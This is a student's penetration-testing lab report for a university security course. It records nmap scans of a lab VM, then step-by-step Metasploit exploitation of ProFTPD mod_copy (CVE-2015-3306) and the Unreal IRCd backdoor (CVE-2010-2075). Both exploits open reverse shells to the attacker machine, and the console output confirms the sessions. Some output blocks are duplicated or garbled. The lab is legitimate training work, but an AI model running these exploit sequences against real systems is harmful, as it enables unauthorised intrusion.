

EECS 3482 – Introduction to Computer Security

Lab 4- Ethical Hacking and Pen Testing

Submitted by – Jaideep Singh | 218472241

Task 1

a. nmap with -O flag

```
(kali@kali)-[~]
$ sudo nmap -O 10.0.2.15

[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-25 19:41 EDT
Nmap scan report for uit-sms-3DI9SPL.yorku.yorku.ca (10.0.2.15)
Host is up (0.00057s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
445/tcp    open  microsoft-ds
631/tcp    open  ipp
3000/tcp  closed ppp
3306/tcp  open  mysql
8080/tcp  open  http-proxy
8101/tcp  closed intermapper
MAC Address: 08:00:27:C8:4D:3D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.2 - 4.14 (98%), Linux 3.8 - 3.16 (98%), Linux 3.10 - 4.11 (94%), Linux 3.13 - 4.4 (94%), Linux 3.13 (94%), Linux 3.13 - 3.16 (94%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%), Android 5.0 - 6.0.1 (Linux 3.4) (94%), Android 8 - 9 (Linux 3.18 - 4.4) (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.43 seconds

(kali@kali)-[~]
$ echo "Step completed by 'whoami', name: Jaideep Singh, on 'date'"

Step completed by kali, name: Jaideep Singh, on Wed Jun 25 07:44:39 PM EDT 2025

(kali@kali)-[~]
$
```

This scans the target to guess which operating system it's running.

What Was Found:

- The system is likely running **Linux** (version 3.13–4.4) or **OpenWRT Chaos Calmer**.
- MAC address belongs to a **VirtualBox NIC** (so it's a virtual machine).
- Only **1 hop** away (same network).

b. Use Nmap with –top-ports flag.

Quickly scans the **20 most common ports** instead of all 65,535.

Open ports:

- 21 – FTP
- 22 – SSH
- 80 – HTTP
- 3306 – MySQL
- 8080 – HTTP Proxy
- Several other ports were **filtered** (blocked by firewall).

```
(kali㉿kali)-[~]
$ nmap --top-ports 20 10.0.2.15

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-25 19:45 EDT
Nmap scan report for uit-sms-3DI9SPL.yorku.yorku.ca (10.0.2.15)
Host is up (0.00078s latency).

PORT      STATE      SERVICE
21/tcp    open      ftp
22/tcp    open      ssh
23/tcp    filtered  telnet
25/tcp    filtered  smtp
53/tcp    filtered  domain
80/tcp    open      http
110/tcp   filtered  pop3
111/tcp   filtered  rpcbind
135/tcp   filtered  msrpc
139/tcp   filtered  netbios-ssn
143/tcp   filtered  imap
443/tcp   filtered  https
445/tcp   open      microsoft-ds
993/tcp   filtered  imaps
995/tcp   filtered  pop3s
1723/tcp  filtered  pptp
3306/tcp  open      mysql
3389/tcp  filtered  ms-wbt-server
5900/tcp  filtered  vnc
8080/tcp  open      http-proxy
MAC Address: 08:00:27:CB:4D:3D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.58 seconds

(kali㉿kali)-[~]
$ echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"

Step completed by kali, name: Jaideep Singh, on Wed Jun 25 07:45:52 PM EDT 2025

(kali㉿kali)-[~]
$
```

c. Use Nmap with `--script vuln` flag.

Uses built-in Nmap scripts to **check for known vulnerabilities** (like SQL injection, XSS, and DOS).

Port 80 (HTTP):

- Vulnerable to **Slowloris DOS Attack** (CVE-2007-6750)
- Found signs of **SQL injection** and **CSRF**
- Exposed directories like `/drupal/`, `/phpmyadmin/`, `/chat/`

Port 445 (SMB):

- Vulnerable to **regsvc denial-of-service** on older Microsoft systems.

Step completed by kali, name: Jaideep Singh, on Wed Jun 25 07:45:52 PM EDT 2025

(kali@kali)-[~]

\$ nmap --script vuln 10.0.2.15

Starting Nmap 7.95 (<https://nmap.org>) at 2025-06-25 19:48 EDT

Stats: 0:02:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 98.94% done; ETC: 19:51 (0:00:01 remaining)

Stats: 0:03:05 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 98.94% done; ETC: 19:52 (0:00:02 remaining)

Stats: 0:03:44 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 98.94% done; ETC: 19:52 (0:00:02 remaining)

Nmap scan report for uit-sms-3DI9SPL.yorku.yorku.ca (10.0.2.15)

Host is up (0.00060s latency).

Not shown: 991 filtered tcp ports (no-response)

PORT	STATE	SERVICE
21/tcp	open	ftp
22/tcp	open	ssh
80/tcp	open	http

| http-fileupload-exploiter:

|

|_ Couldn't find a file-type field.

| http-slowloris-check:

| VULNERABLE:

| Slowloris DOS attack

| State: LIKELY VULNERABLE

| IDs: CVE:CVE-2007-6750

| Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. By doing so, it starves the http server's resources causing Denial Of Service.

| Disclosure date: 2009-09-17

| References:

| <http://ha.ckers.org/slowloris/>

| <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750>

| http-dombased-xss:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=uit-sms-3DI9SPL.yorku.yorku.ca

| Found the following indications of potential DOM based XSS:

| Source: eval("document.location.href = '"+b+"pos="+a.options[a.selectedIndex].value+"'")

| Pages: <http://uit-sms-3DI9SPL.yorku.yorku.ca:80/phpmyadmin/js/functions.js?ts=1365422810>

|_ http-stored-xss: Couldn't find any stored XSS vulnerabilities.

| http-sql-injection:

| Possible sqli for queries:

| <http://uit-sms-3DI9SPL.yorku.yorku.ca:80/?C=M%3B0%3DA%27%200R%20sqlspider>

| <http://uit-sms-3DI9SPL.yorku.yorku.ca:80/?C=D%3B0%3DA%27%200R%20sqlspider>

| <http://uit-sms-3DI9SPL.yorku.yorku.ca:80/?C=N%3B0%3DD%27%200R%20sqlspider>

|_ <http://uit-sms-3DI9SPL.yorku.yorku.ca:80/?C=S%3B0%3DA%27%200R%20sqlspider>

| http-csrf:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=uit-sms-3DI9SPL.yorku.yorku.ca

| Found the following possible CSRF vulnerabilities:



File Actions Edit View Help

```
| Path: http://uit-sms-3DI9SPL.yorku.yorku.ca:80/payroll_app.php
| Form id:
| Form action:
|
| Path: http://uit-sms-3DI9SPL.yorku.yorku.ca:80/drupal/
| Form id: user-login-form
| Form action: /drupal/?q=node&destination=node
|
| Path: http://uit-sms-3DI9SPL.yorku.yorku.ca:80/chat/
| Form id: name
| Form action: index.php
|_ http-enum:
| /: Root directory w/ listing on 'apache/2.4.7 (ubuntu)'
| /phpmyadmin/: phpMyAdmin
|_ /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
445/tcp open  microsoft-ds
631/tcp open  ipp
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
3000/tcp closed ppp
3306/tcp open  mysql
8080/tcp open  http-proxy
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
8181/tcp closed intermapper
MAC Address: 08:00:27:CB:4D:3D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
```

```

8181/tcp closed intermapper
MAC Address: 08:00:27:CB:4D:3D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvcs-dos:
|   VULNERABLE:
|     Service regsvcs in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvcs in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_

Nmap done: 1 IP address (1 host up) scanned in 329.08 seconds

```

d. Use Nmap with -p- flag

Only scans **selected ports** (FTP, SSH, HTTP, HTTPS).

- 21, 22, and 80 are **open**
- 443 is **filtered**

```

(kali㉿kali)-[~]
$ nmap -p 21,22,80,443 10.0.2.15

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-25 20:04 EDT
Nmap scan report for uit-sms-3DI9SPL.yorku.yorku.ca (10.0.2.15)
Host is up (0.00076s latency).

PORT      STATE      SERVICE
21/tcp    open      ftp
22/tcp    open      ssh
80/tcp    open      http
443/tcp   filtered  https
MAC Address: 08:00:27:CB:4D:3D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds

(kali㉿kali)-[~]
$ echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"

Step completed by kali, name: Jaideep Singh, on Wed Jun 25 08:04:21 PM EDT 2025

(kali㉿kali)-[~]
$

```

- e. Use Nmap with -sV -sC.

```
(kali㉿kali)-[~]
$ nmap -sV -sC 10.0.2.15

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-25 20:05 EDT
Nmap scan report for uit-sms-3DI9SPL.yorku.yorku.ca (10.0.2.15)
Host is up (0.00091s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            ProFTPD 1.3.5
22/tcp    open  ssh            OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 2b:2e:1f:a4:54:26:87:76:12:26:59:58:0d:da:3b:04 (DSA)
|   2048 c9:ac:70:ef:f8:de:8b:a3:a3:44:ab:3d:32:0a:5c:6a (RSA)
|   256  c0:49:cc:18:7b:27:a4:07:0d:2a:0d:bb:42:4c:36:17 (ECDSA)
|_  256  a0:76:f3:76:f8:f0:70:4d:09:ca:e1:10:fd:a9:cc:0a (ED25519)
80/tcp    open  http           Apache httpd 2.4.7
|_ http-server-header: Apache/2.4.7 (Ubuntu)
|_ http-title: Index of /
| http-ls: Volume /
|  SIZE  TIME                FILENAME
|  -      2020-10-29 19:37  chat/
|  -      2011-07-27 20:17  drupal/
|  1.7K   2020-10-29 19:37  payroll_app.php
|  -      2013-04-08 12:06  phpmyadmin/
|_
445/tcp   open  netbios-ssn    Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
631/tcp   open  ipp            CUPS 1.7
|_ http-server-header: CUPS/1.7 IPP/2.1
|_ http-title: Bad Request - CUPS v1.7.2
3000/tcp  closed ppp
3306/tcp  open  mysql          MySQL (unauthorized)
8080/tcp  open  http           Jetty 8.1.7.v20120910
|_ http-title: Error 404 - Not Found
|_ http-server-header: Jetty(8.1.7.v20120910)
8181/tcp  closed intermapper
MAC Address: 08:00:27:CB:4D:3D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.1.1, UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: ubuntu
|   NetBIOS computer name: UBUNTU\x00
|   Domain name: \x00
|   FQDN: ubuntu
|_  System time: 2025-06-26T00:05:35+00:00
| smb2-time:
|   date: 2025-06-26T00:05:33
|_  start_date: N/A
|_ cclock-skew: mean: 1s, deviation: 2s, median: 0s
| smb2-security-mode:
|   3:1:1:
```

```
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.23 seconds

(kali㉿kali)-[~]
$ echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"

Step completed by kali, name: Jaideep Singh, on Wed Jun 25 08:09:10 PM EDT 2025

(kali㉿kali)-[~]
$
```

- -sV finds **versions** of the services running.
- -sC runs **default scripts** to collect extra info (like banners, SMB info, etc.)

Found:

- **Port 21 (FTP)**: ProFTPD 1.3.5
- **Port 22 (SSH)**: OpenSSH 6.6.1p1
- **Port 80 (HTTP)**: Apache 2.4.7 with exposed pages: /chat/, /drupal/, /phpmyadmin
- **Port 445 (SMB)**: Samba 4.3.11 – NetBIOS and SMB info visible
- **Port 631**: CUPS printing service (version 1.7)
- **Port 3306**: MySQL (access denied)
- **Port 8080**: Jetty 8.1.7 web server
- **Port 8181**: Closed

Extra:

- OS: Ubuntu Linux
- Guest access to SMB
- SMB signing disabled (security risk)

Task 2

Target A : Shell access was confirmed, confirmed a successful connection to the target as a limited user.

1. Start PostgreSQL & Initialize Database: `sudo systemctl start postgresql`

`sudo msfdb init`

- PostgreSQL is needed for Metasploit to work.
- The database was already running, so setup was successful.

2. Launch Metasploit : `msfconsole`

- This opens the main Metasploit console with the `msf>` prompt.

3. Find the Exploit : `search proftpd`

- This searches for exploits related to ProFTPD.
- From the list, we used:
 - `use exploit/unix/ftp/proftpd_modcopy_exec`

4. Choose the Payload: `show payloads`

We selected: `set payload cmd/unix/reverse_perl`

- This payload gives us a **reverse shell** to control the target.

5. Configure Exploit Settings: After selecting the exploit and payload, the next step was to set all the required parameters before launching the attack.

- First, I set the **RHOSTS** value to the target machine's IP address using the command: `set RHOSTS 10.0.2.15`
- This tells Metasploit which machine to attack.
- Next, I confirmed that the FTP port being used was the default one, port 21, and set it with: `set RPORT_FTP 21`
- After that, I specified where on the target machine the payload should be placed. This was done using the `SITEPATH` option: `set SITEPATH /var/www/html`
- This directory is accessible via a web browser and will execute our uploaded payload file.
- Lastly, I set the **LHOST**, which is my Kali Linux machine's IP address (the attacker machine). This is important because the reverse shell will connect back to this IP: `set LHOST 10.0.2.4`

6. Confirm Options: `show options`

- This shows all set values and ensures everything is correct before running the exploit.

7. Run the Exploit: `exploit`

- Exploit ran successfully!

Output was: www-data

- This confirms we got remote access to the server.

9. Exit: After exploring the system, the session and Metasploit were closed.

Payload Info:

- File Name: Cvqyluh.php
- Location: /var/www/html on the target
- Type: PHP reverse shell
- Purpose: Connects the target back to Kali to give us command-line access.

Vulnerability Details

- CVE ID: CVE-2015-3306
- This vulnerability in the ProFTPD mod_copy module lets attackers copy files to directories like /var/www/html and run code to get control of the system.

```
(kali@kali)-[~]
$ sudo systemctl start postgresql
sudo msfdb init

[i] Database already started
[i] The database appears to be already configured, skipping initialization

(kali@kali)-[~]
$ msfconsole

Metasploit tip: Use the 'capture' plugin to start multiple authentication-capturing and poisoning services
```

```
d8P      .\$$$$L..,,=accaacc%#s$b.      d8,      d8P
d888888P #$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888P
          "7$$$$$\`"#####AA".       .7$$$|D*"#####
d8bd8b.d8p d8888b ?88' d889b8b      _os#$|8*"     d8P      ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88      oaS####S*"     d8P d8888b $whi?88b 88b
d88 d8 ?8 88b   88b 88b ,88b os$$$$$*" ?88,.d88b,d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P`?8b`?88P'.as$$$$Q*"    `?88' ?88 ?88 88b d88 d88
          .a#$$$$$$"$      88b d8P 88b`?8888P'
          s$$$$$$$"$      8888888P' 88n
          .a$$$$$$$P      d88P' ..ass#$$$$$$$$$$$$$$$$$$$'
          .a$###$$$P      .-aqc#$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'
          .a$###$$$P      -ass#$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####SS$'
          .a$$$$$$$$SS$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##=-""###AA/$$$$$$'
                                     ,8$$$$$$$',
                                     ll66$$$$$,
                                     .;;lll6666',
                                     ...;;lllll6',
                                     .....;llll;.....
                                     .....;llll;.....
```

```
= [ metasploit v6.4.64-dev ]
+ -- == [ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- == [ 1610 payloads - 49 encoders - 13 nops ]
+ -- == [ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > search proftpd
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/linux/misc/netsupport_manager_agent	2011-01-08	average	No	NetSupp
1	exploit/linux/ftp/proftpd_sreplace	2006-11-26	great	Yes	ProFTPD
1.2	1.3.0 sreplace Buffer Overflow (Linux)				
2	\ target: Automatic Targeting	.	.	.	.
3	\ target: Debug	.	.	.	.
4	\ target: ProFTPD 1.3.0 (source install) / Debian 3.1	.	.	.	.
5	exploit/freebsd/ftp/proftpd_telnet_iac	2010-11-01	great	Yes	ProFTPD
1.3.2rc3	1.3.3b Telnet IAC Buffer Overflow (FreeBSD)				
6	\ target: Automatic Targeting	.	.	.	.
7	\ target: Debug	.	.	.	.
8	\ target: ProFTPD 1.3.2a Server (FreeBSD 8.0)	.	.	.	.
9	exploit/linux/ftp/proftpd_telnet_iac	2010-11-01	great	Yes	ProFTPD
1.3.2rc3	1.3.3b Telnet IAC Buffer Overflow (Linux)				
10	\ target: Automatic Targeting	.	.	.	.
11	\ target: Debug	.	.	.	.
12	\ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1	.	.	.	.
13	\ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 (Debug)	.	.	.	.
14	\ target: ProFTPD 1.3.2c Server (Ubuntu 10.04)	.	.	.	.
15	exploit/unix/ftp/proftpd_modcopy_exec	2015-04-22	excellent	Yes	ProFTPD
1.3.5	Mod_Copy Command Execution				
16	exploit/unix/ftp/proftpd_133c_backdoor	2010-12-02	excellent	No	ProFTPD
-1.3.3c	Backdoor Command Execution				

Interact with a module by name or index. For example `info 16`, use `16` or use `exploit/unix/ftp/proftpd_133c_backdoor`

```
msf6 > echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
[*] exec: echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
Step completed by kali, name: Jaideep Singh, on Mon Jun 30 05:33:16 PM EDT 2025
```

```
msf6 >
```

```
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
```

```
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
```

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/reverse_perl
```

```
payload => cmd/unix/reverse_perl
```

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/adduser	.	normal	No	Add user with useradd
1	payload/cmd/unix/bind_awk	.	normal	No	Unix Command Shell, Bind TCP (via AWK)
2	payload/cmd/unix/bind_netcat	.	normal	No	Unix Command Shell, Bind TCP (via netcat)
3	payload/cmd/unix/bind_perl	.	normal	No	Unix Command Shell, Bind TCP (via Perl)
4	payload/cmd/unix/bind_perl_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via perl) IP
5	payload/cmd/unix/generic	.	normal	No	Unix Command, Generic Command Execution
6	payload/cmd/unix/pingback_bind	.	normal	No	Unix Command Shell, Pingback Bind TCP (via netcat)
7	payload/cmd/unix/pingback_reverse	.	normal	No	Unix Command Shell, Pingback Reverse TCP (via netcat)
8	payload/cmd/unix/reverse_awk	.	normal	No	Unix Command Shell, Reverse TCP (via AWK)
9	payload/cmd/unix/reverse_netcat	.	normal	No	Unix Command Shell, Reverse TCP (via netcat)
10	payload/cmd/unix/reverse_perl	.	normal	No	Unix Command Shell, Reverse TCP (via Perl)
11	payload/cmd/unix/reverse_perl_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (via perl)
12	payload/cmd/unix/reverse_python	.	normal	No	Unix Command Shell, Reverse TCP (via Python)
13	payload/cmd/unix/reverse_python_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (via python)

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
[*] exec: echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
Step completed by kali, name: Jaideep Singh, on Mon Jun 30 05:37:30 PM EDT 2025
```

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 10.0.2.15
```

```
RHOSTS => 10.0.2.15
```

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RPORT_FTP 21
```

```
RPORT_FTP => 21
```

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
```

```
SITEPATH => /var/www/html
```

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST [your Kali IP] # e.g., set LHOST 10.0.2.4
```

```
LHOST => [your Kali IP] # e.g., set LHOST 10.0.2.4
```

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options
```

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.15	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	HTTP port (TCP)
RPORT_FTP	21	yes	FTP port
SITEPATH	/var/www/html	yes	Absolute writable website path
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	Base path to the website
TMPPATH	/tmp	yes	Absolute writable path
VHOST		no	HTTP server virtual host

Scale MP group details given 1000

Payload options (cmd/unix/reverse_perl):

Name	Current Setting	Required	Description
LHOST	[your Kali IP] # e.g., set LHOST 10.0.2.4	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	---
0	ProFTPD 1.3.5

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
[*] exec: echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

Step completed by kali, name: Jaideep Singh, on Mon Jun 30 05:39:30 PM EDT 2025

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST 10.0.2.4
```

LHOST => 10.0.2.4

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options
```

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.15	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	HTTP port (TCP)
RPORT_FTP	21	yes	FTP port
SITEPATH	/var/www/html	yes	Absolute writable website path
SSL	false	no	Negotiate SSL/TLS for outgoing connections

```
SSL      false      no      Negotiate SSL/TLS for outgoing connections
TARGETURI /            yes     Base path to the website
TMPPATH  /tmp      yes     Absolute writable path
VHOST    no        no      HTTP server virtual host
```

Payload options (cmd/unix/reverse_perl):

Name	Current Setting	Required	Description
LHOST	10.0.2.4	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	ProFTPD 1.3.5

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] 10.0.2.15:80 - 10.0.2.15:21 - Connected to FTP server
[*] 10.0.2.15:80 - 10.0.2.15:21 - Sending copy commands to FTP server
[*] 10.0.2.15:80 - Executing PHP payload /CVqyIuH.php
[+] 10.0.2.15:80 - Deleted /var/www/html/CVqyIuH.php
[*] Command shell session 1 opened (10.0.2.4:4444 → 10.0.2.15:33665) at 2025-06-30 17:40:23 -0400
```

```
whoami
www-data
^C
```

Abort session 1? [y/N] y

```
[*] 10.0.2.15 - Command shell session 1 closed. Reason: User exit
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
[*] exec: echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
Step completed by kali, name: Jaideep Singh, on Mon Jun 30 06:44:47 PM EDT 2025
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exit
```

```
(kali㉿kali)-[~]
$ echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
Step completed by kali, name: Jaideep Singh, on Mon Jun 30 06:48:08 PM EDT 2025
```

Target B : Shell access was successfully obtained and verified using whoami.

1. Launch Metasploit Console: msfconsole
 2. Load the Exploit Module: use exploit/unix/irc/unreal_ircd_3281_backdoor
 3. onfigure the Target IP and Port: set RHOSTS 10.0.2.15
set RPORT 6697
 4. Set Attacker Machine (Kali) IP: set LHOST 10.0.2.4
 5. Set Listener Port: set LPORT 4444
 6. Choose Payload for Reverse Shell: set payload cmd/unix/reverse
 7. View and Confirm Settings : show payloads and show options
 8. Launch the Exploit: exploit
- Connection to IRC server established.
 - Exploit sent a backdoor command to open a shell.
 - Shell session opened: Command shell session 1 opened (10.0.2.4:4444 → 10.0.2.15:33646)
 - Verified using: whoami
 - Output: boba_fett
 - Confirmed we were inside the system as a regular user.

Issues and Fixes:

- Initially got warnings for: Unknown datastore option: LHOST

Unknown datastore option: LPORT

Fixed by correcting parameter names and values.

- Payload error occurred (Invalid parameter 'payload')
Resolved by using the correct command: set payload cmd/unix/reverse

Overall: In this exploitation task, I successfully targeted the Unreal IRCd service running on port 6697 of the Metasploitable3 machine. Using Metasploit's unreal_ircd_3281_backdoor exploit and the cmd/unix/reverse payload, I was able to gain remote shell access. The exploit connected back to my Kali machine on port 4444 and provided a working command shell. After access was granted, I confirmed shell control by running whoami, which returned the username boba_fett. I also used uname -a and id to confirm the system details and user permissions. The exploit worked as expected after resolving a couple of input issues with setting payload and options. The vulnerability exploited is known as **CVE-2010-2075**, a classic remote code execution flaw in Unreal IRCd 3.2.8.1. Overall, the goal of gaining shell access was successfully achieved and verified.

```
$ msfconsole
```

```
Metasploit tip: Use the analyze command to suggest runnable modules for hosts
```

METASPLOIT CYBER MISSILE COMMAND V5

A screenshot of the Space Invaders game. The player's ship is at the bottom center. The score is 31337, and it's Wave 5. The game is in progress, with alien invaders at the top. The URL https://metasploit.com is visible in the bottom right corner.

```

=[ metasploit v6.4.64-dev ]
+ -- --[ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- --[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --[ 9 evasion ]

```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 >
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.0.2.15
RHOSTS => 10.0.2.15
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
RPORT => 6697
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.0.2.15
RHOSTS => 10.0.2.15
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
```

```

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
RPORT => 6697
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.0.2.4
[!] Unknown datastore option: LHOST. Did you mean RHOST?
LHOST => 10.0.2.4
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LPORT 4444
[!] Unknown datastore option: LPORT. Did you mean RPORT?
LPORT => 4444
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payload
[-] Invalid parameter "payload", use "show -h" for more information
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/adduser	.	normal	No	Add user with useradd
1	payload/cmd/unix/bind_perl	.	normal	No	Unix Command Shell, Bind TCP (via Perl)
2	payload/cmd/unix/bind_perl_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via Perl IPv6)
3	payload/cmd/unix/bind_ruby	.	normal	No	Unix Command Shell, Bind TCP (via Ruby)
4	payload/cmd/unix/bind_ruby_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via Ruby IPv6)
5	payload/cmd/unix/generic	.	normal	No	Unix Command, Generic Command Execution
6	payload/cmd/unix/reverse	.	normal	No	Unix Command Shell, Double Reverse TCP (telnet)
7	payload/cmd/unix/reverse_bash_telnet_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (telnet)
8	payload/cmd/unix/reverse_perl	.	normal	No	Unix Command Shell, Reverse TCP (via Perl)
9	payload/cmd/unix/reverse_perl_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (via perl)
